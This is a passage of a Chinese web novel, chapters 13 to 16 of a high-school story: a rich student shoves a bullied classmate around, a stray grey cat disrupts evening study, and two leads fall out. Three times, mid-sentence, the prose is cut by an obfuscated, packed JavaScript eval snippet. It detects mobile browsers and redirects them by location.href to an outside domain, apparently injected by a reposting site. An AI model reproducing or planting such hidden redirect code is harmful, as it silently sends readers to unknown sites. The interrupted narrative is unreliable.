这话是个万金油,真实性暂且不论,不过确实能激发对方的学习积极性。 陆舟听到这句评价更高兴了,他凑近对方,卖乖道:“我肯定好好学,那就拜托小宴老师教我了!” 13. 暗流 海城一中的高二年级有八个文科班,其中头部两个班级是重点班,彼此间不分伯仲。中间四个班叫“骨干班”,就是所谓的中等班。末尾两个班则是“优化班”,虽占了个优字,实际上却是一个比一个差,老师们对其的要求只要不惹事就好。 至于成绩……说实在的,能考上海城一中的学生,就是不聪明,学习态度还是有的。只要肯上进,这些学生在高一的分班考时基本都被分到了骨干班。 但学校嘛,往往也会迫于这样那样的原因,收进来些特殊学生。优化班的学生大多非富即贵,进学校只为日后的履历能好看些。剩下的则是各种各样的特长生,对文化课成绩要求不多。 比如七班,就是这样的优化班。老师来班上讲课基本都是走个形式,只要学生们别太过分,基本不会管他们有没有在认真听课。 优化班学生的校园生活比起其他人,那要相当“丰富多彩”了。吃零食,打游戏,聊最新的花边新闻,翘课逃学更是家常便饭。两个兄弟班唯一不同的地方,就是七班比八班多一个消遣乐子,“逗”班上的一个男同学玩。 那位男同学有自己的名字,不过大家都不怎么叫,而是给对方起了个“狗尾巴”的外号。这么叫习惯了,大家也就忘了对方叫什么,真将“狗尾巴”当成了他的名字。 “狗尾巴”体型粗大肥胖,在一众身材匀称苗条的男同学之间格格不入。不仅如此,他还不爱干净,身上总是散发着一股酒气混合着狐臭气的味道,头发也总是不洗,还又长又杂乱,油腻腻地贴在脑门上。班上女生见了他总是厌恶地退避三舍,男生则以取笑对方为乐,三五不时就要搞出点幺蛾子作弄对方。 比如这周一返校,陆舟刚进班里,就看到自己座位上放着一个恶心的外套。 他皱了皱眉,瞬间觉得自己座位不干净了。 周围有好事的同学给他报信:“舟哥,那是狗尾巴的,不知道怎么搞的跑你桌子上去了。” 陆舟面色一冷,朝最后一排靠墙角的座位走去。 狗尾巴就坐在那里,他身后是放垃圾桶的地方。陆舟不耐烦地踹了一脚对方的桌子,桌子“嘎吱”一声歪斜了大半,里面的课本全都掉了出来。 周围安静了一瞬,大家的目光都集聚过来,里面是掩饰不住的激动与幸灾乐祸。 狗尾巴吓得一哆嗦,头埋得更低了,恨不得能钻进桌兜里去。 陆舟冷声道:“把你那恶心玩意儿拿走。” 狗尾巴结结巴巴地说:“那……那不是我放的……” 陆舟不耐烦道:“我管是谁放的呢,那是不是你的东西?你不拿我就让人扔出去了。” 狗尾巴这才慢腾腾地从座位上站起来,一句小跑过去把外套拿走了。 陆舟回了自己座位,他嫌秽气,随便找了个眼熟的人让对方把桌子连着板凳都挪出去,找一套新的桌椅搬回来。 有眼色的几个人忙上前去挪走了对方原来的座位,没几分钟,新的桌子凳子就搬回来了。 陆舟这才坐下,又打开书包把周末布置的习题拿出来做。 有狗腿子跑过来献殷勤,嬉皮笑脸地悄声道:“陆哥,要不要我找人把他收拾一顿?” 陆舟翻开习题册,又按了下圆珠笔准备做题,闻言敷衍道:“随便。” 那狗腿子“哎”了一声,冲周围几人挤眉弄眼了一番,嘻嘻哈哈着跑出去了。 有人注意到陆舟做的事,咂舌道:“陆哥,你在写数学题啊?” 这话一出,跟陆舟相熟的几个朋友都聚过来围观,七嘴八舌地讨论着。 “陆哥你转性了?你不是说过学习这事儿最恶心了,打死都不碰课本一下吗?” “陆哥你写的什么?嘶——看不懂。” “这是数学还是物理啊?” “咱们是文科班,哪儿用写物理,肯定是数学啊。” 陆舟觉得他们烦,拿起练习册左右挥了挥,驱逐道:“滚滚滚,跟进了苍蝇窝似的,烦不烦。” 大家见对方没有调笑的心思,没敢再蹬鼻子上脸,匆忙散去了。 ———— 沈安宴早上刚进班,就见林跃她们几个正聚在一处讨论着些什么。她的座位则被江小松占了,人群里数她的笑声最大。 见正主来了,江小松一个弹跳从座位上离开,把沈安宴拉了过来。 “刚好你过来了,我们正等你呢!”江小松两条胳膊撑在对方桌子上,高高兴兴地嚷嚷道。 林跃解释道:“小松刚给我我们说她周末玩儿密室逃脱的事儿,太有意思了!我们商量着这周末一起去玩儿一次,你来不来?” 江小松道:“我请客!来嘛来嘛!人多热闹!” 沈安宴笑道:“来来来,不过请客这个要不要再商量一下?” 贺晴天知道她的顾虑,解释道:“这个没事儿,那家密室逃脱体验馆是她家里人开的。” 沈安宴这才放心。 中午吃饭时,她照常去了隔壁班找顾辞江一起。人流熙熙攘攘地往外走,唯独顾辞江安安静静地在座位上待着,看起来并不着急。 沈安宴朝对方招了招手,喊道:“顾辞江,走吧!” 顾辞江抬头看到对方,这才起身朝班门外走去。 实话说,沈安宴过分的自来熟与热情,经常让顾辞江有些苦恼。其中一个原因就是对方喜欢找自己结伴,却从不主动挑起闲聊的话题。 顾辞江觉得两人还没熟到可以不说话也不会觉得尴尬的地步,因此每次和对方同行,都要绞尽脑汁地想合适的话题聊。 好在两人成绩都不错,聊学习上的事倒是个不错的方向。今天上午两个班都有数学课,老师布置了课后扩展题,他问对方有没有思路。 “哦,那道题啊,我会的,要我给你讲吗?”沈安宴问道。 顾辞江并不急着做题,不过能让对方多说说话也好,他便点头同意了。 虽然讲题只是为活跃氛围的借口,但顾辞江不得不承认的是,对方不愧为年级第一,哪怕只是口述,条理思路都格外清晰。走完教学楼到食堂这段路,对方也将这道题讲明白了。 “……最后再求个根,就能得出结果了。可以懂吗?”沈安宴问道。 两人已经到了食堂窗口,正在排队打饭。顾辞江闻言点点头,忍不住道:“你讲得很好。” 沈安宴笑道:“你的思维反应能力也很好,我给别人可没法这么讲,不板书对方绝对是听不明白的。” 说话的功夫,队伍已经排到了他们。两人打好饭,就找了个空位置坐下了。 沈安宴还没吃几口,身侧的位置忽然有人落了座。 她侧头看去,就对上了一双笑意盈盈的桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198050|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花眼。 陆舟道:“小宴老师,好巧啊,我刚打完饭就看到你了!” 沈安宴道:“是挺巧,你没跟朋友一起?” 陆舟撇撇嘴:“跟他们一起没意思,咱们一块儿呗!” 他说完这句话又转头看向斜对面的顾辞江,笑眯眯地问道:“哎,同学,介意加个我吗?” 顾辞江自对方出现时就极轻地皱了一下眉。他并不介意和不熟的人坐一桌,毕竟食堂位子少,来吃饭的学生又多,拼桌也是常有的事。再者多来些人,还可以缓解他跟沈安宴吃饭时默默无言的古怪氛围。但不知道为什么,他就是觉得今天来的这个男生格外刺眼。碍于自小良好的教养,他不好表现出什么负面情绪,只是轻轻地“嗯”了一声。 陆舟也不在乎对方的意见,反正沈安宴没意见,他就松快地坐定了。 “你吃的什么,我打饭的时候怎么没看见这道菜?”陆舟吃饭也不好好吃,没一会儿就凑到沈安宴跟前,要看对方吃的是什么菜。 沈安宴道:“红烧狮子头,味道一般,没什么好吃的。” 陆舟道:“我不信,除非让我尝尝!” 他趁对方不注意,眼疾手快地夹走了她一个丸子。沈安宴总不好跟对方计较一个破狮子头,只得无语地说了句“你能不能好好吃饭”。 陆舟咬了一口丸子,笑嘻嘻地道:“这不是正吃着嘛!哎,我觉得还挺好吃,可能因为是从你那儿抢来的——哎,饭果然要抢着吃才香。” 沈安宴翻了对方一个白眼儿。 对面斗嘴斗得热闹,顾辞江心里却忽然有些闷。之前只有他和沈安宴两个人时,他偶尔会觉得有些尴尬,但从没有像今天这样难受到甚至不愿意再待下去。 餐盘里还剩了大半的饭菜,但他已经没心情继续吃下去了。顾辞江站起身,朝沈安宴道:“我吃好了,先走了。” 沈安宴道:“这么快?你等我一下,咱们一起。” 陆舟托腮道:“他要走就走呗,我还没吃完呢,你怎么不留下来陪我?” 沈安宴道:“你是小孩子吗,吃饭还要人陪……” 顾辞江觉得心里更闷了,他垂眸道:“你不用来,我等会儿还有事。” 他说完也不管对面的反应,端上餐盘就离开了。 陆舟瞥了一眼对方离去的背影,抬手按住沈安宴的肩膀,温声劝道:“人家有事儿呢——没看出来吗,那人烦你烦得很,你还非要上去自讨没趣儿的。” 沈安宴有点蒙:“没有吧,我跟他聊得挺好的。” 陆舟朝邻桌摆了摆手,那边儿极有眼色地跑来送上了两杯果汁。他端上其中一杯递给沈安宴,笑着道:“你们女生没这些绕绕弯弯的心思,男生喜欢谁讨厌谁才不会放在脸上。你觉得你跟人家聊得好,人家指不定背后怎么说你呢。” 沈安宴喝了一口果汁,闻言摇了摇头:“没这回事,我知道他,他不是这种人。” 陆舟面色一僵,但他没让这点情绪在脸上停留太久,很快又重新笑了起来。 “行吧行吧,你有你的想法。我就是怕你吃亏。” 沈安宴斜他一眼:“你操的心还挺大。把你学习成绩搞上去,对我来说比什么都强。” 陆舟夸张地捂住脑袋,半真半假地抱怨:“哎哎哎——小宴老师,吃饭的时候不准聊学习的事啊!” 14. 灰猫 因为中午的事,顾辞江今天一整天心里都不太痛快,午睡甚至都没睡好。 下午上课他难免有些没精神,因此晚饭就没去吃,而是爬在了桌上补觉。 这个时间段大家要么去吃饭,要么就是去操场打球,教室里没什么人,睡觉也不怕被吵醒。 顾辞江囫囵睡了一会儿,感觉状态好了些。他醒来时,教室里已经陆陆续续有几个人回来了。 他离开座位去卫生间洗了把脸,好让自己清醒一些。等回到教室,就见中间的位置围了好些人,大家正兴奋地低声交谈着什么。 可能是学校里刚刚出了什么新鲜八卦?顾辞江想。 他对这些没兴趣,准备回自己座位上刷题,就听见有人喊了他的名字。 “哎,顾辞江!” 围在那边的人群里还有李欣然,对方看到他,忙挥挥手分享道:“快来快来,这里有只小猫,特别可爱!” 猫? 顾辞江眼睛一亮,原本的糟糕情绪被这个突如其来的惊喜冲得烟消云散。他起身快步走了过去,也加入了看小猫的行列。 桌子底下果然藏着一只猫咪,皮毛是灰色的,眼睛还是罕见的异瞳,一只是蓝色,一只是银色。大家喜欢得不得了,李欣然甚至拿出手机来拍照,也不怕被老师发现没收了。 江小松稀罕地把灰猫摸来摸去,忍不住道:“这猫也太瘦了,身上都没多少肉,我一摸就摸到骨头了。” 顾辞江闻言也蹲下去摸了摸,的确很瘦,而且身上的毛还有些打结,看来是只流浪猫。 有人提议道:“要不要给它喂点东西吃?我带了牛肉干,它能吃吗?” 顾辞江道:“那个含盐量太高了,猫吃不了……” 说到吃的,这倒是提醒了他。顾辞江回座位上,从书包里找到了一根香肠,走过来拆开给小猫一点一点喂了。 李欣然道:“哎?这香肠我好像没在超市里见过?” 顾辞江道:“我家养了猫,有买专门喂猫吃的香肠。平时出来怕遇到流浪猫,也会在包里备上一些。” 李欣然赞叹道:“哇,好细心啊!” 顾辞江笑了笑,将手上的香肠给猫咪一点一点喂完。 小灰猫吃饱肚子,悠悠闲闲地摆了几下尾巴,就趴在桌子下面不动了。 江小松摸着下巴思索了会儿,忽然问道:“哎,这不周天子的座位吗,她人还没回来?等会儿这猫搁她座位拉了咋整?” 周天子并非真叫周天子,这同学的名字起得挺有意思,原名是周天,因此大家由她的名字又延伸出了许多外号,什么周末啊,双休啊,放假啊。周天子因为叫着响亮,成了大家公认的最佳外号。 顾辞江有点无语地看了她一眼。 李欣然也停了拍照的手,吐槽道:“江小松,你能别搁这儿这么煞风景的不?” 有几个同学想试着把猫引出来,可不知周天的座位上到底有什么好东西,这灰猫愣是认准了这里,死活不愿意挪开。 待周天回来后,有人笑呵呵地喊道:“周天子,有人给你上贡来了!” 周天还有点儿奇怪,她一边嘀咕着“你们又背着我干什么好事儿了”,一边朝座位上走去。 可惜情况并没有如大家预期般发展。周天看到猫咪既不激动,也不高兴,而是神情惊恐地一个大跳,往后一连退了好几步,大声喊道:“我去他爹的,谁给我这儿弄的猫!” 李欣然道:“你这是干什么,猫多可爱啊。” 周天看起来有点儿崩溃:“我管它可不可爱,我对猫毛过敏啊!去去去,我骟你别过来!我又不是逗猫棒!” 灰猫见了周天宛如诸侯见了天子,觉也不睡了,懒也不洋了,四脚并用就朝对方扑了过去,吓得周天满教室乱跑。 还是李欣然眼疾手快,忙握住了猫咪的尾巴把它硬是抱进了怀里,才免于周天流落到教室外避难的境地。 江小松坐到周天座位上搜罗一圈,翻找出了一瓶香水。她仔细看了看,扬声道:“得,破案了,周天子,你桌兜里怎么放了猫薄荷?” 周天站到了离猫咪最远的地方,闻言迷茫道:“什么猫薄荷?那是我买的薄荷香水,想着困了喷点儿提神。” 江小松道:“那你估计是买错了,薄荷和猫薄荷不一样,这个对人没影响,倒是能刺激猫兴奋起来。” 周天苦着脸:“我这真是无妄之灾,就说这香水怎么闻着没味道呢,我还当是买到赝品了。” 她有点忧愁地看了眼自己的座位:“我这位子肯定是坐不成了,谁愿意跟我换一下啊?” 江小松道:“反正我都坐这儿了,我座位离这里也远,你坐过去吧。” 周天脸上的愁绪霎时一散,她笑道:“谢了,明天请你吃饭。” 李欣然这边,她举了举手上的猫咪,问道:“那这猫放到哪儿?” 江小松朝周天招呼了一声,把猫薄荷香水朝桌底喷了好几下,说道:“继续放我这里吧。” 李欣然的同桌忍不住说:“这猫怪脏的,而且待教室里还容易影响学习,你们赶紧把它丢出去吧。” 江小松翻了个白眼,毫不客气地怼了回去:“这猫离你远着呢,你不用操这么大的心。” 同桌闻言一噎,又不敢说什么,只能把书翻得哗哗响,来表达自己的不满。 班上同学对这猫都稀罕得紧,周天对此虽然没兴趣,但也没扫大家的兴,只要那猫别凑到她跟前什么都好说。 眼看着晚自习就要上了,顾辞江回座位前朝江小松提醒道:“你小心一些,别被老师发现了。” 江小松笑道:“放心好了,我藏猫的本事大着呢!” 今天的晚自习是班主任来看,王美心刚进班里,就察觉到了不对劲。 她扫了一眼底下的兔崽子们,冷笑道:“一个个看我做什么,干什么好事儿了。” 大家嘻嘻哈哈地笑着,前排的同学一个个瞎话说得比谁都顺溜。 “就是今天食堂出了特别好吃的菜,吃得高兴。” “老班你今天这身衣服真潮,链接发我一下?” “下午打球进了好几个三分,把我给激动坏了!” …… 王美心怀疑地看了学生们一眼,但一时半会儿也找不出她们的马脚,只得警告了一句:“都给我老实点儿。” 灰猫被猫薄荷逗的那阵兴奋劲儿过去了,就乖乖爬在桌底休息下来。江小松拿书包和两只脚将对方圈了起来,防止猫咪忽然乱跑出去。 周围的同学时不时就要往猫咪的方向看上几眼,脸上是藏不住的笑意。 有几个藏不住事儿的,看着看着就忍不住会发出几声笑。 王美心拍了拍桌子,训斥道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198051|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“做什么呢做什么呢,一个个都往哪儿看呢,怎么,江小松脸上有花啊……等一下,江小松,你不是第一排坐着呢吗,谁让你换座位了?” 江小松道:“老班,我有不会的题想问班长。” 周天的座位旁边就是班长。 王美心道:“下次换座位提前说,要是大家都跟你这样,晚自习不就乱了套了!” 江小松忙“哎”了一声应下了。 王美心又道:“行了,都好好上自习。让我再发现谁心思不在学习上,就上来到我这儿自习!” 有班主任敲打,再加上大家的兴奋劲儿也过去了些,后半截晚自习倒是平安无事,大家都各做各的作业,没再露出什么明显的情绪。 直到一道悠长且富有节奏的呼噜声打破了寂静。 众人齐齐一顿。 王美心不可置信地抬起头,扫视了一圈班里,问道:“谁打呼噜呢?” 有几个同学下意识就朝江小松的位置看了过去。 江小松有点头疼地瞥了一眼脚下的灰猫,心说你倒是睡美了,留我一个人应对老师的质问。 王美心这下回过味儿了,结合刚上晚自习时的种种异常,她下了讲台朝江小松这边儿走来。 “你这儿什么玩意……” 说那迟那时快,江小松把双脚并用,把猫咪从桌底推了出来。灰猫被她这动作给催醒了,又闻到生人的味道,“喵呜”一声从座位下面窜了出来。 王美心被吓了一跳,条件反射往后退了一步。 灰猫便这么顺利地冲了出来,一矮身藏进了教室角落的书柜底下。 周围同学发出一阵阵惊呼。 王美心回过神来,又是好气又是好笑。她点了点面前这群兔崽子,骂道:“我说呢,一个个今天怎么这么活跃,原来是搁这儿等着我呢!” 大家见老师没真生气,就都嘻嘻哈哈地笑了起来。 王美心轻轻拍了一把江小松的脑袋,训斥道:“混账玩意儿,还不赶紧想办法把那猫弄走?” 江小松央求道:“老师,猫多可爱啊,让它再待一会儿不行?” 王美心道:“那毕竟是流浪猫,身上万一带了寄生虫病毒什么的,多危险。知道你们喜欢,但喜欢也得有个度。” 李欣然的同桌忍不住说道:“我也是这样给他们说的,但他们都不听。” 江小松妥协了,她从座位上起来,走到柜子边试图把小猫叫出来。 可那猫咪机灵得很,知道外边儿的人是要赶自己走,说什么也不出来,连猫薄荷都没用。 王美心试图把书柜推开,但那猫紧挨着柜子,柜子挪到哪儿它就跟到哪儿,还是不顶用。 二班人这下沸腾了,大家也没心思写作业了,胆大的学生一起加入了抓猫现场,胆小的就坐在位置上时刻关注着后方的情况。 这动静甚至吸引来了隔壁班主任,姜老师凑到后门口,好奇地问道:“你们班这是做什么呢?” 王美心道:“快别提了,我班这群兔崽子干的好事儿,不知道从哪里弄来了一只猫,赖在柜子底下不走了!” 一班学生也注意到了这边的动静,前排学生一个个都伸长了脖子看热闹,耳朵灵的听到了两个班主任的对话,一时间兴奋地朝后边喊道:“猫!他们班进了只猫!” 这下隔壁班也沸腾起来了。 15. 矛盾 二班有学生提议道:“实在不行,要么给柜子外边儿放点儿吃的,把它给馋出来?” 有人立刻响应道:“我这儿有辣条,要不要试试?” “哎,这可不敢!”姜老师急忙阻止道,“猫吃不了这个,谁有肉肠啊鸡胸肉什么的,味道淡一点儿,可以给猫吃吃看。” 这位上了年纪的小老太太一听见有猫,立刻连自己班的学生都顾不上了,眼巴巴地凑到隔壁班帮忙一起想办法出主意。 李欣然道:“姜老师还挺热心的?” 顾辞江解释道:“姜老师特别喜欢猫,家里养了好几只,她知道我也养猫,平时见面了还会跟我说养猫的经验。” 李欣然瞪大眼睛:“看不出来啊,感觉姜老师那种文雅气质的人应该都喜欢书啊画啊什么的……” 谁能想到对方竟然还是个猫咪爱好者。 顾辞江从包里又找出一根香肠,拆好后走上前,掰碎试着塞了些到柜子下面。 里面传来了咀嚼吞咽的声音。 顾辞江耐心地等猫咪吃完,又放了些肉块,这次的位置离出口近了点。 猫咪犹犹豫豫地将脑袋从柜子里探出来了一点,周围又起了一阵骚动,大家兴奋地喊着“出来了出来了!” 王美心忙转身比了个安静的手势,让学生们别吓到小猫。 灰猫用爪子把香肠块迅速扒拉了进去。 等到第三次,顾辞江把肉肠放到了更远一些的地方。 这下灰猫不能用爪子扒拉了,它畏畏缩缩地纠结了许久,姜老师朝周围人示意了一下,让大家站远一些。 围着的人少了,灰猫方才探出来了一只脑袋,确认过没有危险,又慢慢地伸出了半个身子,最后整只猫都从柜底钻了出来,去吃放在外边的香肠了。 顾辞江离得最近,顺手就把小猫抱进了怀里。 他给灰猫喂过两次食物,猫咪大概是熟悉了他的气味,知道对方没有恶意,因此被顾辞江抱在怀里也没有挣扎。 见猫咪终于被抓住了,同学们方才发出一阵欢呼,不仅班里,连门外的走廊也有一班同学拍手欢笑。 一班的班主任都来看猫了,做学生的更是不能落后,半个班的人也都凑过来看热闹了。 姜老师这才反应过来,真是山中老虎才出去一会儿,这些猴子当真是要翻了天了,她忙把这些出笼的猴儿给逮了回去。 顾辞江朝班主任问道:“老师,那我把猫抱出去了?” 总算能把这只害群之猫丢出去了,王老师一身轻快,闻言点头道:“行,记得丢远一点,别让它再跑回来了。” 顾辞江应了声好,准备出去时,就见教室门还堵着几个学生,基本都是一班的人,正央求着班主任想再看一会儿猫。 其中就有沈安宴,顾辞江和她的目光刚巧对上,对方就朝他露出了一个灿烂的笑容。 被猫咪冲淡的那些坏情绪忽然又涌了上来,顾辞江抿了抿唇,假装没有看到对方。 沈安宴似乎朝姜老师说了些什么,姜老师思考了一下,方才点了点头。沈安宴便朝顾辞江走来了。 “我陪你一起。”沈安宴笑着说道。 顾辞江没吭声,沉默着抱着猫离开了教室。 沈安宴跟在对方身边出了教学楼,外面的天已经黑了,只能借月光和零星几点灯光看清周围的环境。 沈安宴左右看了看,朝身侧人问道:“咱们把猫放哪儿?你能看清路吗,小心别摔了,要我拉着你吗?” 顾辞江语气硬邦邦的:“不用。” 沈安宴没听出来,见对方抱着猫不方便,就扶住了他的胳膊,同时说道:“你走慢点,这里黑,我帮你看路……” 顾辞江皱了皱眉,快走几步甩开了对方的手。 沈安宴愣住了,她有些无措地问道:“你怎么了?” 顾辞江道:“你别碰我。” 沈安宴道:“为什么?你讨厌我吗?” 顾辞江说不清自己心理,但他现在的确不想和对方有任何接触,于是回答道:“是。” 沈安宴沉默了。 过了好一会儿,她才轻声说道:“我知道了,那我走了。” ———— “小宴小宴,我的奇迹小宴,今天早上你给我带了什么好吃的?” 林跃刚进教室,就一眼锁定了趴在桌上的沈安宴,一想到有外面世界的早餐吃,早起的心情瞬间就好上了不少。 沈安宴正枕在手臂上发呆,闻言头也没抬,只是将装着早餐的书包往对面推了推。 林跃一边接过书包找自己喜欢的早点,一边打趣道:“这是怎么了?昨天没睡好?补觉也不知道把眼睛闭上。” 沈安宴道:“没,睡着了。就是有点没劲。” 林跃拿了喜欢的包子,满足地咬上了一大口,闻言一边嚼一边含糊不清地问道:“心情不好?” 沈安宴道:“算是有点。” 林跃见对方没有多说的意思,便“嗐”了一声,宽慰道:“大课间跟我下去打个球?运动运动心情就好了。” 沈安宴道:“还是让我爬我一会儿吧,那样会更累的……” 虽是这么说,但大课间的时候,沈安宴依旧被林跃强行拖去了操场。 “我跟你说,心情不好这东西,你越闷越不好——就要多出来走走,才能把坏情绪丢出去!”林跃做好热身运动,给对方手上塞去一只球拍,就退到了球网的另一侧,将羽毛球高高抛起。 “别发愣了,盛宴,接球!” 林跃挥动着手上的拍子,网面精准地击上羽毛球底,白羽在空中划过一道亮丽的弧线,朝沈安宴的方向飞去。 沈安宴后退几步,对方下手不狠,几乎是在喂球,她很容易就接上了。林跃说得不错,两人这么有来有往地过了几轮,沈安宴逐渐尝出了其中的乐趣,那些烦杂的思绪也慢慢被抛在脑后,她开始一心一意沉浸在打球的快乐中了。 等到上课铃响,她方才意犹未尽地收起球拍。 林跃把羽毛球和两个拍子归整到运动包里放好,姐俩好地揽住了对方的肩膀,笑道:“怎么样?我没说错吧,现在心情是不是好多了?” 沈安宴点点头:“是不错。之前一直不怎么喜欢运动,这么试一试感觉还真挺有意思的。” 林跃道:“就是嘛!运动使人快乐!你要是喜欢,咱们今天吃晚饭的时候继续打。” 沈安宴点点头,笑着应道:“行。” 两人踩着正式上课铃响回了教室。老师还没来,贺晴天看这刚回班的两人满头大汗的,从包里抽出湿巾递了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198052|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢班班!”林跃笑嘻嘻地应道,沈安宴也跟着一起道了谢。 贺晴天递完湿巾,又给同桌桌上放了一包巧克力派。 “刚去超市买的,吃点甜的心情会好起来。”她小声说。 沈安宴笑道:“谢谢,有同桌的投喂,我现在已经没有不开心了。” 贺晴天朝对方眨了眨眼,两人一起笑了。 这节课下,邻桌陈杉拍了拍沈安宴的肩膀,说道:“刚刚大课间有人来找你。” 沈安宴心中有些希冀,她期待地问道:“是顾……” 陈杉道:“就是长得特别漂亮的那个男的,之前来过咱们班,好像叫陆什么的。” 沈安宴心中的期待又落了回去,她回应道:“我知道了,谢谢。” 陆舟过来找她,有什么事? 沈安宴心中奇怪,反正现在又没什么急事,她便去七班找对方了。 她第一次来这边,又没有陆舟那样的厚脸皮,哪怕一个人都不熟也能像是进自己班似的找人。因此到了七班后,她没有直接进去,而是站到了门口朝里面看。 靠前门坐的同学注意到她,热情地问道:“哎,盛宴!你来找人吗?” 沈安宴道:“对,你认识我?” 那位同学笑道:“年纪第一啊,文科班谁不认识你。哎,你来找谁?” 沈安宴道:“陆舟。” 那位同学道:“噢,他刚出去了。我看看……第一组倒数第二排,他的座位就是靠墙的那个,旁边儿没有人。你要么坐那儿等一下……哎,陆哥!” 沈安宴回头看去,就见陆舟迎面走了过来。 对方见到她眼睛一亮,快步走到门口,笑着道:“我刚去你们班了,结果看你不在,还想着你一天怎么这么忙,到处都找不到人。” 沈安宴道:“大课间出去了一趟,平时我都在班上的。你找我什么事?” 陆舟道:“你让我写的数学题我都写完了,想找你问问要不要进行下一阶段的学习计划。” 沈安宴道:“好,你什么时候有时间?” 陆舟笑道:“什么时候都有时间。” 沈安宴想了想,白天要上课,中、晚两餐的休息时间要去找顾辞江,那就只剩晚自习了。 她问道:“我今天晚自习来找你,你们班让外班人进吗?” 陆舟道:“那有什么不可以的,你随便过来。那就这样说好了?” 见对方点头,陆舟显得更高兴了。他还想和对方多聊几句,但看时间已经不早了,只得说道:“你先回去吧,一班离这儿挺远的,小心别迟到了。” 看着对方离开后,陆舟方才回到班里。他同沈安宴在门口说话那一会儿,班上人表面看着是在各做各的事,但背地里都在偷偷往门口瞟。 前排同学离得最近,听到的东西自然更多,他忍不住问道:“陆哥,你跟一班的盛宴什么关系啊,看起来挺熟?” 陆舟道:“不该问的别问。” 几个关系跟他好的人打趣道:“噢——什么样的关系是不该问的啊?” 陆舟道:“都活腻歪了是吧?” 他虽是这么说,但语气并不差,面上看起来还挺高兴。 周围人挤眉弄眼了一番,大概清楚对方的意思了。 16. 纷扰 吃午饭的时候,沈安宴犹豫半响,还是去了隔壁班想找顾辞江。 可惜她的犹豫看起来有些自作多情,对方的位置空空荡荡,大概早就走了。 沈安宴心情不由得有些郁闷。 李欣然正好准备往出走,看到对方顺手招呼道:“小宴,你来找顾辞江吗?” 沈安宴道:“是,不过没找着。” 李欣然道:“没找着就对了。他今天请假了,没来上课。” 沈安宴一怔,方才心里的那点儿郁卒瞬间烟消云散,但很快又被担心替代。 她追问道:“你知道他为什么没来吗?” 李欣然道:“老师没说,不过我闲着无聊发信息问他了,他说他今天心情不好。” 说到这儿,她有点艳羡地摇了摇头:“真羡慕他,我要是敢拿心情不好当不上学的理由,我妈绝对会抽死我的。” 沈安宴配合地笑了笑,和对方道别后,她一边往食堂走,一边思考方才知道的事。 心情不好?为什么不好? 沈安宴有点百思不得其解地想道。 从昨天顾辞江的表现来看,对方确实有些不一样。 虽然想不明白,但起码有一件事可以确定,对方承认的讨厌她应该不是真的讨厌,而是有别的原因。 想通了这一点,沈安宴就不再纠结了,她决定好,等顾辞江回来,一定要找对方把这件事谈开。 ———— 昏暗的房间内,顾辞江把自己闷在被子里,只觉得浑身上下都难受。 并不是生理上的难受,而是心理上的难受,他整个人都提不起精神,只觉得累。 从昨天说完那声“是”后,他就觉得自己的状态有些不对了。 他也不明白自己究竟是怎么想的,不论是甩开对方的手,还是承认他确实讨厌对方,都是感性大过理性做出的选择。 可做完那些后,他并不觉得畅快,尤其是对方真就那么一走了之后,他只觉得失落,还有一点委屈。 那人平时不是总爱追着自己吗,怎么这次就不愿意再多追一会儿,他让走就走了? 顾辞江把脸埋进被子里,他知道自己现在的脾气来得毫无道理,对方选择离开也是正常的反应,可他就是不高兴。 昨天他回家后,一晚上都没睡好,直到凌晨才勉强睡了过去。这个状态就是去学校也学不好什么,顾辞江不喜欢做无用功,因此就让管家阿姨帮忙请了假,草草吃过早饭后,他就回卧室继续躺着了。 除了不想做无用功,他不愿意到学校去还有一个原因,那就是怕面对盛宴。 盛宴,盛宴,盛宴。 顾辞江满脑子都是这个名字。 真讨厌。 ———— 沈安宴还不知道自己被朝思暮想的人给讨厌了,她刚结束下午的课程,在学校里闲逛时正巧遇上昨天那只搅得两个班风生水起的小灰猫。 对方不知跑哪儿用了顿饱餐,现在正躺在树荫底下纳凉。 沈安宴瞧得欢喜,走上前把手凑到了对方脑袋边。 这灰猫也不怕人,见沈安宴的动作,很是体贴地把脑袋贴上了对方掌心,亲昵地蹭了蹭。 沈安宴拿空着的另一只手给它呼噜毛,小猫被摸得舒服了,很是信赖地亮出了自己的肚皮给对方看。 沈安宴忍不住笑了出来。 周围有路过的同学注意到了这边的情况,惊喜地叫道:“哎,有小猫!” 呼啦一下,沈安宴周围聚起了一堆人。 大家纷纷凑上前来,谁都想把小猫摸一下,有人带了吃的,一个劲儿地“嘬嘬嘬”着想要勾引小猫来吃。 有人嘲笑道:“你当这是狗啊,快别乱逗了。” 那个“嘬嘬嘬”的同学不好意思地笑了两声,又改成了“米奥米奥”。 